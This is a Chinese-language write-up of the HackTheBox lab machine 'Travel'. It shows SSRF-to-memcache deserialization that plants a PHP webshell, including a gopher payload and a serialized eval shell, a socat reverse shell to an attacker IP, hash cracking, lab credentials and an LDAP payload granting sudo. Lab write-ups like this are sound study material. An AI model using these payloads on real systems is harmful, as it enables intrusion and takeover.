Travel這臺靶機真的是做hackthebox以來遇到的最佳靶機了。相比之前因為pwn的知識而根本沒法下手的一些hard靶機。Travel屬于純滲透WEB知識,而且非常接近實戰(zhàn)。難度甚至完全可以擔當insane了。其起手式相比其他靶機相當困難。但我也因此學到了ssrf利用的新姿勢,并且在之后的提權(quán)部分也基本上是面對完全未知的系統(tǒng)操作。所以最后完成的瞬間真的非常高興。畢竟這是自己第一次做出不到四位數(shù)solved的靶機。整個過程中也遇到了很多困難。感謝anoNym1ty與traut的幫助。在他們給我的提示下我才能找到下手點并逐步完成滲透的過程。
Let's get it started.
由于Travel還是active狀態(tài),所以我會給文章上鎖直到靶機退役。
9.14:靶機已退役
- 靶機ip:10.10.10.189
- 攻擊機ip: 10.10.14.6
initial foothold
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 21:07 CST
Nmap scan report for 10.10.10.189
Host is up (0.44s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Not valid before: 2020-04-23T19:24:29
|_Not valid after: 2030-04-21T19:24:29
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap掃描顯示了22,80與443端口。值得注意的是這次我們的nmap直接爆出了除www外的兩個子域名blog.travel.htb與blog-dev.travel.htb。這實際上節(jié)省了我們后續(xù)的很多時間。
然后老規(guī)矩一個個來了。
- travel.htb。只是單純的一個靜態(tài)網(wǎng)頁。中間提到blog字眼??磥硎前凳玖?code>blog.travel.htb。
- blog.travel.htb 這個很有可能是重頭戲。因為訪問之后發(fā)現(xiàn)是一個wordpress搭建的網(wǎng)站。有著很明顯的wordpress特征。且首頁源碼內(nèi)有一段注釋提到了
-devto-prod。似乎是blog-dev的提示。 - blog-dev.travel.htb 訪問直接是403。且跟前兩者一樣都是nginx服務(wù)。
-
https://www.travel.htb 直接訪問會顯示證書錯誤。網(wǎng)頁提醒說要去
non-https站看。因此沒有過多信息。
因為沒有過多有用的點。所以我們必須得用wfuzz來收集更多目錄信息了。這一步基本上就兩種選擇:目錄爆破或者子域名爆破。其中子域名我們應(yīng)該已經(jīng)齊全了,接下來就是一個不漏的進行目錄爆破。(這點非常重要,因為我第一次忘記對blog-dev進行信息收集,所以導致錯失關(guān)鍵信息)
對blog.travel.htb可以使用wpsscan 收集下wordpress的信息
wpscan --url https://xxxxx --enumerate vtp
并沒有什么收獲。之后用wfuzz對網(wǎng)站直接fuzzdir。也只是得到一些普通的wordpress路徑。
ps: 這里因為自己第一次下手wordpress之類的站。導致對一些常規(guī)的php文件與路由會過分關(guān)注。比如一般robots.txt中會出現(xiàn)的allow: /wp-admin/admin-ajax.php.以及xmlrpc.php。后者確實存在一些ping的命令調(diào)用,但是并沒有什么用。而這個站還有wp-json的res api。但是除了博文信息一無所獲。
之后轉(zhuǎn)向blog-dev.travel.htb。開始使用的字典什么都沒爆出來,但是之后換了/usr/share/wordlists/dirb/common.txt后得到了一個.git/HEAD的存在。原來是存在.git泄露。(再吐槽下,kali自帶的幾個字典有時真的拉胯,如果是平時打CTF用的掃描器肯定不會出這種沒爆出來.git的問題)
那就常規(guī)githack源碼恢復。得到三個文件
README.md
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
rss_template.php
<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();
?>
<main class="section-inner">
<?php
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = null;
$data = url_get_contents($url);
if ($url) {
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
if ($simplepie->error) {
error_log($simplepie->error);
$simplepie = null;
$failed = True;
}
} else {
$failed = True;
}
return $simplepie;
}
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
if ($feed->error())
{
echo '<div class="sp_errors">' . "\r\n";
echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
echo '</div>' . "\r\n";
}
else {
?>
<div class="chunk focus">
<h3 class="header">
<?php
$link = $feed->get_link();
$title = $feed->get_title();
if ($link)
{
$title = "<a href='$link' title='$title'>$title</a>";
}
echo $title;
?>
</h3>
<?php echo $feed->get_description(); ?>
</div>
<?php foreach($feed->get_items() as $item): ?>
<div class="chunk">
<h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() . '">'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?> <span class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4>
<?php echo $item->get_content(); ?>
<?php
if ($enclosure = $item->get_enclosure(0))
{
echo '<div align="center">';
echo '<p>' . $enclosure->embed(array(
'audio' => './for_the_demo/place_audio.png',
'video' => './for_the_demo/place_video.png',
'mediaplayer' => './for_the_demo/mediaplayer.swf',
'altclass' => 'download'
)) . '</p>';
if ($enclosure->get_link() && $enclosure->get_type())
{
echo '<p class="footnote" align="center">(' . $enclosure->get_type();
if ($enclosure->get_size())
{
echo '; ' . $enclosure->get_size() . ' MB';
}
echo ')</p>';
}
if ($enclosure->get_thumbnail())
{
echo '<div><img src="' . $enclosure->get_thumbnail() . '" alt="" /></div>';
}
echo '</div>';
}
?>
</div>
<?php endforeach; ?>
<?php } ?>
</main>
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
-->
<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>
<?php
get_footer();
template.php
<?php
/**
Todo: finish logging implementation via TemplateHelper
*/
function safe($url)
{
// this should be secure
$tmpUrl = urldecode($url);
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;
}
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
到這一步一下子得到了很多關(guān)鍵信息。我首先注意到的是template.php中存在的針對ssrf的waf以及一個可以寫文件的反序列化利用??磥砦覀兊淖罱K目的肯定是反序列化寫webshell了。
回過頭看readme.提到它將這兩個php文件放在twentytwenty的文件夾下。并且似乎使用了rss_template.php作為模板文件。
這點從我們訪問網(wǎng)址提供的blog主頁也可以看出。
然后注意rss_template.php.其中有很多關(guān)鍵語句。大致流程是。如果我們傳了custom_feed_url變量。其值將被送去過一層waf.然后調(diào)用curl+escapeshellarg(url)的系統(tǒng)命令。之后是與memcache進行連接,進行了一系列操作。
同時,注意php中還有提到debug.php的存在。如果帶上參數(shù)debug就會include debug.php.
這里大致的脈絡(luò)肯定有了。反序列化存在一個寫文件的利用。curl存在一個ssrf的利用.并且waf很好繞。關(guān)鍵在于如何通過ssrf 反序列化。我想大部分應(yīng)該都只接觸過ssrf打redis觸發(fā)python 的pickle數(shù)據(jù)反序列化。但是這里是php,真的有辦法讓curl執(zhí)行的ssrf觸發(fā)反序列化嗎?答案是肯定的。
首先我去了解了下Memcache。發(fā)現(xiàn)這是一個及其類似redis的鍵值存儲數(shù)據(jù)庫。只不過常用于緩存服務(wù)器。其大致操作與redis非常相近
#set 命令
set key flags exptime bytes [noreply]
value
#get 命令
get key
那么這里我們必須找到memcache與序列化數(shù)據(jù)的相互關(guān)聯(lián)。不過在此之前我們可以先在頁面嘗試下這個ssrf.并且通過debug參數(shù)看看debug.php會返回什么
<!--
DEBUG
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_43dbce622f(...) | |
| xct_0c192bbacb(...) | a:3:{s:3:"url";s:17:"http://0.0.0.(...) |
| xct_58f1d97bfd(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
我發(fā)現(xiàn)它似乎的確是按鍵值序存儲的。并且數(shù)據(jù)的確是反序列化數(shù)據(jù)。但是我們看不到完整的鍵名。也不清楚是否存在反序列化的過程,還是只是單純序列化存入。
那么我們恐怕得深入下源碼了。這里關(guān)于memcache的鏈接主要用到的是/wp-includes/class-simplepie.php我們來審計一下。
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
可以看到這段與memcache相關(guān)代碼主要是執(zhí)行了四個函數(shù)。其中我們傳入的url會被作為其中一個的參數(shù)。
來到Simplepie
構(gòu)造函數(shù)主要是實例化了兩個類。后面由于我們構(gòu)造函數(shù)并沒有傳入?yún)?shù)所以不用管。而且其實可以看到現(xiàn)在只支持通過后面的函數(shù)傳遞構(gòu)造參數(shù)。
SimplePie_Sanitize類跟一下沒什么內(nèi)容。大致是一個格式規(guī)范的作用。SimplePie_Registry似乎是一個注冊器的功能。
回到rss,調(diào)用了set_cache_location
這里并沒有對我們傳入的參數(shù)memcache://127.0.0.1:11211/?timeout=60&prefix=xct_進行處理
然后是
$simplepie->set_feed_url($url);
由于我們的url只有一個。所以不會進入in_array()而是進入else分支。看到它用registrty屬性調(diào)用了call方法。而registry就是之前實例化的SimplePie_Registry對象。我們跟過去看看
get_class方法
public function get_class($type)
{
if (!empty($this->classes[$type]))
{
return $this->classes[$type];
}
if (!empty($this->default[$type]))
{
return $this->default[$type];
}
return null;
}
我們送入call的type與method分別是Misc與fix_protocol.這里去找找到了default屬性
Misc對應(yīng)了SimplePie_Misc。返回了這個字符串。那么現(xiàn)在就可以回到call繼續(xù)看調(diào)用了什么。由于$this->legacy默認是空的,不滿足in_array($class, $this->legacy)。最后其實就是返回了一個$result = call_user_func_array(array($class, $method), $parameters);
也就是用SimplePie_Misc類的fix_protocol方法處理array($url, 1)。
fix_protocol簡單跟一下發(fā)現(xiàn)就是簡單的url格式處理。所以如果我們開始傳入的url是http://127.0.0.1/這樣標準的url。返回值就不會變。
(這里的registry其實就是一個注冊器調(diào)用方法的例子,學習了)
那么最后結(jié)束。整個set_feed_url執(zhí)行的是對$this->feed_url與$this->permanent_url的賦值。值均為我們傳入的url.
接下來回到rss_templatee.php調(diào)用的init()
首先大致看下。發(fā)現(xiàn)存在一個if分支。我們進入的是if ($this->feed_url !== null)的分支
可以看到首先是注冊器有調(diào)用了一次SimplePie_Misc的parse_url方法處理url。然后我們進入$this->cache && $parsed_feed_url['scheme'] !== ''的if分支。這里回過頭看下 $this->cache是默認true的。我們的url肯定也是http協(xié)議的。所以確認進入if.看看調(diào)用了什么方法。
首先$force_feed默認為false.那么我們直接看下面這個注冊器調(diào)用的方法。也是重中之重。
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));
根據(jù)前面的注冊器調(diào)用規(guī)則,我們知道這里肯定是調(diào)用SimplePie_Cache的gethandler方法。參數(shù)是cache_location與call_user_func($this->cache_name_function, $url), 'spc')組成的數(shù)組。
這里順便看眼$this->cache_name_function發(fā)現(xiàn)是默認為'md5'的字符串。
那么現(xiàn)在看看Cache的gethandler方法。
首先處理了我們之前一直沒用上的memcache://127.0.0.1:11211/?timeout=60&prefix=xct_可以看到取出的$type是memcache.
對應(yīng)到設(shè)定的$handler屬性,返回的就是SimplePie_Cache_Memcache。那最后實際上這里get_handler是實例化了一個SimplePie_Cache_Memcache對象。
繼續(xù)跟到SimplePie_Cache_Memcache去
這兩句非常關(guān)鍵
$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new Memcache();
可以看到上面因為用parse_url處理了我們的memcache連接url。那么$options應(yīng)該是被我們的設(shè)置覆蓋了一次。此時timeout=60(cache有效時間),prefix為xct_
而name的賦值涉及到送入構(gòu)造方法的$name與$type.回頭看看當初的參數(shù)。
$name
=>call_user_func($this->cache_name_function, $url)
=>md5($url)
$type
=>'spc'
也就是說name的命名方法是
xct_ + md5(md5('name')+ ':spc')
到這一步為止,我們不難發(fā)現(xiàn)鍵名其實是完全可控的。并且$cache是一個SimplePie_Cache_Memcache對象。
那么回到init(),下一步是跟下$this->fetch_data($cache)方法,發(fā)現(xiàn)調(diào)用了$this->data = $cache->load();
終于看到了夢寐以求的unserialize。而$data = $this->cache->get($this->name)就是Memcache中按照鍵名取其值的內(nèi)容。到此為止,我們總算找到了反序列化的利用鏈。
也就是說,我們每次調(diào)用ssrf時。對應(yīng)的url都會被存進memcache并且反序列化。而這就帶來了利用的機會。
在實際做靶機時,我是先用ssrf打memcache,再回過頭看鍵名的問題的。實際上ssrf打memcache用gopherus可以輕松生成payload
傳入我們之前準備的序列化寫shell的序列化數(shù)據(jù)
class TemplateHelper
{
public $file;
public $data;
}
$o=new TemplateHelper();
$o->file='byc.php';
$o->data='<?php eval($_REQUEST[byc]);?>';
echo(serialize($o));
O:14:"TemplateHelper":2:{s:4:"file";s:7:"byc.php";s:4:"data";s:31:"<?php system($_REQUEST[byc]);?>";}
生成數(shù)據(jù)
gopher://127.0.0.1:11211/_%0d%0aset%20xct_byc404%204%200%2099%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22byc.php%22%3Bs:4:%22data%22%3Bs:29:%22%3C%3Fphp%20eval%28%24_REQUEST%5Bbyc%5D%29%3B%3F%3E%22%3B%7D%0d%0a
當然這里ssrf會因為127.0.0.1被禁。不過使用0.0.0.0即可。跟網(wǎng)鼎杯郁師傅的題一樣的。
先打一發(fā)隨便設(shè)個鍵名xct_byc404
從include 的 debug.php可以看到,我們成功寫入序列化數(shù)據(jù)。
那么接下來利用的思路就很簡單了。我們提前設(shè)計好url.計算出其對應(yīng)的memcache存儲鍵名。然后用gopherssrf打memcache,設(shè)置好鍵名與序列化payload。接下來再傳提前設(shè)計的url,即可觸發(fā)反序列化。
這里我準備的是http://127.0.0.2/按照上面的規(guī)則,生成的鍵名應(yīng)該是xct_43dbce622f33d358dcd3bff9f2994ac8
那么ssrf打一發(fā)
接著再把url改成http://127.0.0.2/傳一次。訪問wp-content/themes/twentytwenty/logs/byc.php發(fā)現(xiàn)成功寫入webshell
那么接下來就只用彈shell了
成功拿到www-data
小結(jié)下。這一部分的難度恐怕是前所未有。因為很少有出現(xiàn)ssrf打memcache的情況。并且其涉及的反序列化還需要進框架深挖。這種接近實戰(zhàn)的點真的非常難得,給出題人點個贊。同時也提醒我一點,ssrf觸發(fā)序列化不再是python的專利了。用php也是一種門道。我們同樣可以挖出一條利用鏈。
privesc to lynik-admin
getshell后,首先把shell往html目錄cp一份。因為logs下的文件會被定期刪除。
接著開始enumertion了。首先自己先去wp-confg.php找信息。發(fā)現(xiàn)了database用戶跟密碼
db: wp
wp:fiFtDDV9LYe8Ti
但是卻發(fā)現(xiàn)因為沒有升級shell的原因?qū)е鲁霾粊韒ysql界面(操作還是沒問題的,但是太難受了),索性放棄mysql。跑了下linpeas.sh
由于種種原因,這里linpeas.sh沒跑完就提前終止了。實際上是因為這個docker容器里有兩份wordpress源碼。內(nèi)容過多,導致linpeas會呈現(xiàn)很多其實并沒有什么用的內(nèi)容。
不過即便如此,linpeas還是能找到/opt/wordpress下的一個sqlbackup文件
backup13-04-2020.sql
其內(nèi)容同樣過多。因此我們直接下到本地,尋找其中user信息
cat *.sql | grep user
這次得到了兩個用戶
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
把兩個hash存起來,hashcat 爆破之
hashcat -m 400 -a 0 --force -o pass.txt wp_pass /usr/share/wordlists/rockyou.txt
這里第一個hash非???,使用rockyou字典跑完了都沒跑出來。第二個hash倒是很快就能爆破出密碼。
所以現(xiàn)在總算有一個有效的cred了。
lynik-admin:1stepcloser
嘗試直接ssh登錄,拿到user.txt
這一部分算是比較基礎(chǔ)的enumerate.我個人認為linpeas可能還沒有直接下手找關(guān)鍵文件效果好。同樣即使獲取了文件。也要注意提取關(guān)鍵信息,不要被太多垃圾信息混淆視線。
然后關(guān)于tty的方法。我后來發(fā)現(xiàn)除了python的以外還能使用socat升級shell.
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.6:4444
socat file:`tty`,raw,echo=0 tcp-listen:4444
privesc to root
登錄到主機后首先很快發(fā)現(xiàn)當前目錄有兩個關(guān)鍵文件。
- ~/.ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
- .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq!
|2,0,1587670530,,"wq!"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-' 3 0 ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-'' 1 0 ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
# History of marks within files (newest to oldest):
> ~/.ldaprc
* 1587670529 0
" 3 0
. 4 0
+ 4 0
收獲了一個密碼。Theroadlesstraveled
這里兩個文件都與ldap相關(guān)。這點我們也可以從hosts中發(fā)現(xiàn)
127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
直接curl下看看
發(fā)現(xiàn)應(yīng)該是一個openldap系統(tǒng)
在花了很長時間從零開始了解ldap后。我終于知道怎么跟ldap系統(tǒng)進行交互了。那就是使用ldapsearch。這里先看下ldapsearch 的help中給出的幾個flag
ldapsearch
-D binddn bind DN
-w passwd bind password (for simple authentication)
DN就是每個用戶獨一無二的入口。比如我的DN就是cn=lynik-admin,dc=travel,dc=htb.正好在ldaprc上提到了。而同理,密碼就是Theroadlesstraveled
使用ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled得到了許多返回值。其中前面一部分是這樣的
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ==
這里我們發(fā)現(xiàn)自己的用戶lynik-admin起到的正是ldap admin的角色。不過同時還有另一個admin。我們自身的信息暴露出的還有一個userPassword.但是這串密碼base4decode后的內(nèi)容也是不可破解的。
除了上面這些以外,我們還收集到了一堆似乎并不存在的用戶
在這一步我卡了很久。很大程度上是因為對ldap不熟悉。并且網(wǎng)上并沒有什么關(guān)于ldap與提權(quán)相關(guān)的信息。但是搜集了一些文章后,大致發(fā)現(xiàn)幾點
- ldap admin可以修改其他用戶的屬性
- ldap支持 sshPublickey 屬性
https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system
http://pig.made-it.com/ldap-openssh.html
https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
這幾篇文章讀完后,大致心里有了數(shù):如果我們修改uidNumber,gidNumber這樣的關(guān)鍵信息。并且給其ssh key。我們就能更改用戶角色并且登錄。
這里嘗試設(shè)置密碼并不太可行。所以無法直接su到用戶。但是如果設(shè)置ssh公鑰就沒有這個問題
按照digitalocean那篇文章,我的最終payload
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: uidNumber
uidNumber: 1001
-
replace: gidNumber
gidNumber: 27
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDwCi7CgbhlT2JWuhFOWWv+O3ENplGfGc9uwiKZ4W7GIbFI3rytRnmn8OalqGwQs++QQF1MQRUIVyJRjB0gdYoccKRs1GlQAcoXDBsmGp7NpIXIlYQ24kmcyLhAY85Al75li+cv/5j1RlN/W0eqoxuKIY6/g2F7FXbO3ZQSGRUtN6b52ePeJLIuOwn+FzXsnhuMPADDtMu7Eseh3i49N/KK3c/COZ6YxA2RYbzqNNIYyIWZK/z89FTAgNVQjNZqGsFjxkKZqIWbiSuo/c/UJauRetrv8vcvkL+FaXMUZMhkf6x7diX1Qkv7Fn4SW0BbQrx+zpZfFVycx3CmTMXd2KRMfOVpRJmNF4rG2ndcX/HIfM1fNZiTYL126TddLmGVKxzCircfp/xRwogKyznbwGR5RV078Y0L6iDl8KLTU+lFmeNxqlqkGvTc0xbjjSpLbKLoWM5Pg3Lvvq29wYk6+iurTcm8aPNQkaYn+wRS8bZ4gdOF6y9RzbMZIW9Mn3YTcxU= root@byc404
這里我選擇johnny這個用戶。因此首先把它的dn放在第一行。之后通過changetype: modify后,就能通過replace替換屬性值(有的屬性不支持多個值)add增加屬性值了。
通過將uid改為1001(lynik-admin)。以及將gid改為27(sudo group )。我們就能擁有sudo的權(quán)限。
ssh登錄johnny
既然有了sudo的權(quán)限。那就直接su 到 root吧。由于之前的uid已經(jīng)設(shè)置為lynik-admin。所以我們是知道sudo時的用戶密碼的。
rooted!
這一部分其實相對于我而言幾次出現(xiàn)了毫無思路的情況。還是因為對ldap不熟悉導致的。不過真正坑了幾篇文章后還是了解到了非常多的知識。對ldap也有了新的見解(然而我跟大多數(shù)人一樣,認為這是個垃圾玩意).
summary
整體來說travel的確是個難得的優(yōu)秀靶機。我也在htb上給了5星好評。其中起手式部分的確讓我打開眼界,拓寬了我對ssrf的認識。如果能力足夠的話也許我會嘗試把類似的知識點拿到比賽中,讓大家都了解下這個很有價值的利用點。:)